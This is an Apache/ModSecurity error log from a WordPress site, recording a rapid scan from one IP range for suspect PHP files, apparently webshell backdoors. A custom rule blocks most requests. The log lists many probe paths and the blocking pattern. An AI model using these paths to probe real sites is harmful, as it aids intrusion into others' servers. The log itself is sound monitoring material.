[Sat Mar 14 13:18:30.059249 2026] [:error] [pid 13360:tid 13373] [client 194.61.40.17:26229] [client 194.61.40.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/colour.php"] [unique_id "abTvpvoSWtMry3M5X6sB0QAAAok"]
[Sat Mar 14 13:18:30.571844 2026] [:error] [pid 13360:tid 13366] [client 194.61.40.41:46407] [client 194.61.40.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "abTvpvoSWtMry3M5X6sB2QAAAoI"]
[Sat Mar 14 13:18:31.144925 2026] [:error] [pid 13360:tid 13365] [client 194.61.40.8:45253] [client 194.61.40.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "abTvp_oSWtMry3M5X6sB3AAAAoE"]
[Sat Mar 14 13:18:31.683323 2026] [:error] [pid 13262:tid 13296] [client 194.61.40.23:42279] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Sat Mar 14 13:18:33.226773 2026] [:error] [pid 13262:tid 13313] [client 194.61.40.23:42279] [client 194.61.40.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "abTvqTAdvM7ft5BXQ2eRSQAAAZQ"]
[Sat Mar 14 13:18:34.371379 2026] [:error] [pid 13262:tid 13309] [client 194.61.40.50:27583] [client 194.61.40.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "abTvqjAdvM7ft5BXQ2eRWQAAAZA"]
[Sat Mar 14 13:18:35.444478 2026] [:error] [pid 13360:tid 13377] [client 194.61.40.19:44917] [client 194.61.40.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "abTvq_oSWtMry3M5X6sCCwAAAo0"]
[Sat Mar 14 13:18:37.947187 2026] [:error] [pid 13360:tid 13382] [client 194.61.40.11:38427] [client 194.61.40.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "abTvrfoSWtMry3M5X6sCLgAAApI"]
[Sat Mar 14 13:18:38.470333 2026] [:error] [pid 54132:tid 54149] [client 194.61.40.39:22399] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Sat Mar 14 13:18:39.627371 2026] [:error] [pid 54132:tid 54160] [client 194.61.40.39:22399] [client 194.61.40.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "abTvr8MoWcZxtn8Rxy9WpAAAA1c"]
[Sat Mar 14 13:18:40.234805 2026] [:error] [pid 13261:tid 13273] [client 194.61.40.16:64341] [client 194.61.40.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "abTvsPDFVxjWSW61p5kaRgAAAMc"]
[Sat Mar 14 13:18:41.272420 2026] [:error] [pid 13261:tid 13273] [client 194.61.40.3:32173] [client 194.61.40.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "abTvsfDFVxjWSW61p5kaVQAAAMc"]
[Sat Mar 14 13:18:41.813431 2026] [:error] [pid 54017:tid 54029] [client 194.61.40.40:30343] [client 194.61.40.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "abTvsZh88Lk5QZp0lWWEVQAAAkU"]
[Sat Mar 14 13:18:43.197514 2026] [:error] [pid 13261:tid 13273] [client 194.61.40.51:39267] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sat Mar 14 13:18:44.211640 2026] [:error] [pid 13261:tid 13279] [client 194.61.40.51:39267] [client 194.61.40.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "abTvtPDFVxjWSW61p5kadQAAAM0"]
[Sat Mar 14 13:18:44.823950 2026] [:error] [pid 53961:tid 53984] [client 194.61.40.11:50373] [client 194.61.40.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "abTvtNczYH1OqY7y2cOYjQAAAdQ"]
[Sat Mar 14 13:18:45.866459 2026] [:error] [pid 13262:tid 13310] [client 194.61.40.49:34327] [client 194.61.40.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "abTvtTAdvM7ft5BXQ2eR4wAAAZE"]
[Sat Mar 14 13:18:46.381463 2026] [:error] [pid 13262:tid 13298] [client 194.61.40.21:46637] [client 194.61.40.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "abTvtjAdvM7ft5BXQ2eR7AAAAYU"]
[Sat Mar 14 13:18:48.010845 2026] [:error] [pid 13360:tid 13375] [client 194.61.40.40:22029] [client 194.61.40.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "abTvuPoSWtMry3M5X6sCpAAAAos"]
[Sat Mar 14 13:18:48.781726 2026] [:error] [pid 13360:tid 13365] [client 194.61.40.18:29763] [client 194.61.40.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "abTvuPoSWtMry3M5X6sCrgAAAoE"]
[Sat Mar 14 13:18:49.992250 2026] [:error] [pid 13262:tid 13301] [client 194.61.40.38:62127] [client 194.61.40.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "abTvuTAdvM7ft5BXQ2eSEwAAAYg"]
[Sat Mar 14 13:18:50.490954 2026] [:error] [pid 54132:tid 54158] [client 194.61.40.45:54133] [client 194.61.40.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "abTvusMoWcZxtn8Rxy9WqAAAA1U"]
[Sat Mar 14 13:18:51.047453 2026] [:error] [pid 13262:tid 13310] [client 194.61.40.46:62975] [client 194.61.40.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "abTvuzAdvM7ft5BXQ2eSJAAAAZE"]
[Sat Mar 14 13:18:51.637177 2026] [:error] [pid 13262:tid 13316] [client 194.61.40.32:43063] [client 194.61.40.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "abTvuzAdvM7ft5BXQ2eSLQAAAZc"]
[Sat Mar 14 13:18:52.769470 2026] [:error] [pid 54017:tid 54037] [client 194.61.40.3:21555] [client 194.61.40.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "abTvvJh88Lk5QZp0lWWEawAAAk0"]
[Sat Mar 14 13:18:54.703748 2026] [:error] [pid 13360:tid 13382] [client 194.61.40.52:54619] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Sat Mar 14 13:18:56.089025 2026] [:error] [pid 13360:tid 13385] [client 194.61.40.52:54619] [client 194.61.40.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "abTvwPoSWtMry3M5X6sDAQAAApU"]
[Sat Mar 14 13:18:57.978496 2026] [:error] [pid 13262:tid 13297] [client 194.61.40.25:45181] [client 194.61.40.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "abTvwTAdvM7ft5BXQ2eSVQAAAYQ"]
[Sat Mar 14 13:18:58.527491 2026] [:error] [pid 13262:tid 13309] [client 194.61.40.4:36591] [client 194.61.40.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/as.php"] [unique_id "abTvwjAdvM7ft5BXQ2eSXAAAAZA"]
[Sat Mar 14 13:18:59.411873 2026] [:error] [pid 13262:tid 13295] [client 194.61.40.33:41331] [client 194.61.40.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "abTvwzAdvM7ft5BXQ2eSYQAAAYI"]
[Sat Mar 14 13:19:00.818952 2026] [:error] [pid 54017:tid 54042] [client 194.61.40.33:30119] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Sat Mar 14 13:19:01.346673 2026] [:error] [pid 54017:tid 54028] [client 194.61.40.33:30119] [client 194.61.40.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "abTvxZh88Lk5QZp0lWWEewAAAkQ"]
[Sat Mar 14 13:19:02.119529 2026] [:error] [pid 13360:tid 13386] [client 194.61.40.2:60783] [client 194.61.40.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "abTvxvoSWtMry3M5X6sDQwAAApY"]
[Sat Mar 14 13:19:02.956660 2026] [:error] [pid 13262:tid 13313] [client 194.61.40.11:58037] [client 194.61.40.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "abTvxjAdvM7ft5BXQ2eSggAAAZQ"]
[Sat Mar 14 13:19:03.725163 2026] [:error] [pid 35801:tid 35808] [client 194.61.40.11:21833] [client 194.61.40.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "abTvx28tVFelXGsqbU_8uwAAAQQ"]
[Sat Mar 14 13:19:04.823906 2026] [:error] [pid 13262:tid 13295] [client 194.61.40.39:28371] [client 194.61.40.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "abTvyDAdvM7ft5BXQ2eSmAAAAYI"]
[Sat Mar 14 13:19:05.369865 2026] [:error] [pid 13360:tid 13371] [client 194.61.40.44:64703] [client 194.61.40.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "abTvyfoSWtMry3M5X6sDXwAAAoc"]
[Sat Mar 14 13:19:06.977119 2026] [:error] [pid 13360:tid 13368] [client 194.61.40.50:59281] [client 194.61.40.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "abTvyvoSWtMry3M5X6sDfQAAAoQ"]
[Sat Mar 14 13:19:08.568179 2026] [:error] [pid 13360:tid 13384] [client 194.61.40.39:55961] [client 194.61.40.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "abTvzPoSWtMry3M5X6sDmQAAApQ"]
[Sat Mar 14 13:19:09.179411 2026] [:error] [pid 13360:tid 13367] [client 194.61.40.12:47721] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Sat Mar 14 13:19:10.553725 2026] [:error] [pid 13360:tid 13380] [client 194.61.40.12:47721] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Sat Mar 14 13:19:11.419667 2026] [:error] [pid 13360:tid 13382] [client 194.61.40.12:47721] [client 194.61.40.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "abTvz_oSWtMry3M5X6sDrwAAApI"]
[Sat Mar 14 13:19:11.953966 2026] [:error] [pid 13262:tid 13310] [client 194.61.40.46:62653] [client 194.61.40.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/wp-login.php"] [unique_id "abTvzzAdvM7ft5BXQ2eS1gAAAZE"]
[Sat Mar 14 13:19:12.740878 2026] [:error] [pid 13262:tid 13304] [client 194.61.40.24:32279] [client 194.61.40.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "abTv0DAdvM7ft5BXQ2eS3QAAAYs"]
[Sat Mar 14 13:19:13.370447 2026] [:error] [pid 3912:tid 3935] [client 194.61.40.36:22169] [client 194.61.40.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "abTv0cXFZBK-jpdCvTENbgAAAAg"]
[Sat Mar 14 13:19:14.158717 2026] [:error] [pid 54132:tid 54144] [client 194.61.40.7:20993] [client 194.61.40.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.61.40.7, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "abTv0sMoWcZxtn8Rxy9WzgAAA0c"]
[Sat Mar 14 13:19:14.476200 2026] [:error] [pid 54132:tid 54155] [client 194.61.40.7:20993] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Sat Mar 14 13:19:16.134122 2026] [:error] [pid 54132:tid 54137] [client 194.61.40.7:20993] [client 194.61.40.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "abTv1MMoWcZxtn8Rxy9W2AAAA0A"]
[Sat Mar 14 13:19:16.980025 2026] [:error] [pid 13262:tid 13295] [client 194.61.40.17:36289] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Sat Mar 14 13:19:17.229849 2026] [:error] [pid 13262:tid 13303] [client 194.61.40.17:36289] [client 194.61.40.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "abTv1TAdvM7ft5BXQ2eS8QAAAYo"]
[Sat Mar 14 13:19:18.297695 2026] [:error] [pid 13360:tid 13388] [client 194.61.40.8:23351] [client 194.61.40.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky.php"] [unique_id "abTv1voSWtMry3M5X6sD1wAAApg"]
[Sat Mar 14 13:19:18.854033 2026] [:error] [pid 13360:tid 13370] [client 194.61.40.3:58865] [client 194.61.40.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "abTv1voSWtMry3M5X6sD3gAAAoY"]
[Sat Mar 14 13:19:19.435966 2026] [:error] [pid 54017:tid 54025] [client 194.61.40.23:34545] [client 194.61.40.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "abTv15h88Lk5QZp0lWWEoAAAAkE"]
[Sat Mar 14 13:19:20.004254 2026] [:error] [pid 13261:tid 13269] [client 194.61.40.9:35829] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Sat Mar 14 13:19:21.106423 2026] [:error] [pid 13261:tid 13287] [client 194.61.40.9:35829] [client 194.61.40.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "abTv2fDFVxjWSW61p5kblQAAANU"]
[Sat Mar 14 13:19:21.616954 2026] [:error] [pid 13360:tid 13383] [client 194.61.40.9:47049] [client 194.61.40.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "abTv2foSWtMry3M5X6sD_QAAApM"]
[Sat Mar 14 13:19:22.477543 2026] [:error] [pid 13262:tid 13306] [client 194.61.40.53:55077] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Sat Mar 14 13:19:22.797602 2026] [:error] [pid 13262:tid 13303] [client 194.61.40.53:55077] [client 194.61.40.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/install.php"] [unique_id "abTv2jAdvM7ft5BXQ2eS_wAAAYo"]
[Sat Mar 14 13:19:23.908469 2026] [:error] [pid 13261:tid 13279] [client 194.61.40.2:30001] [client 194.61.40.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "abTv2_DFVxjWSW61p5kbsAAAAM0"]
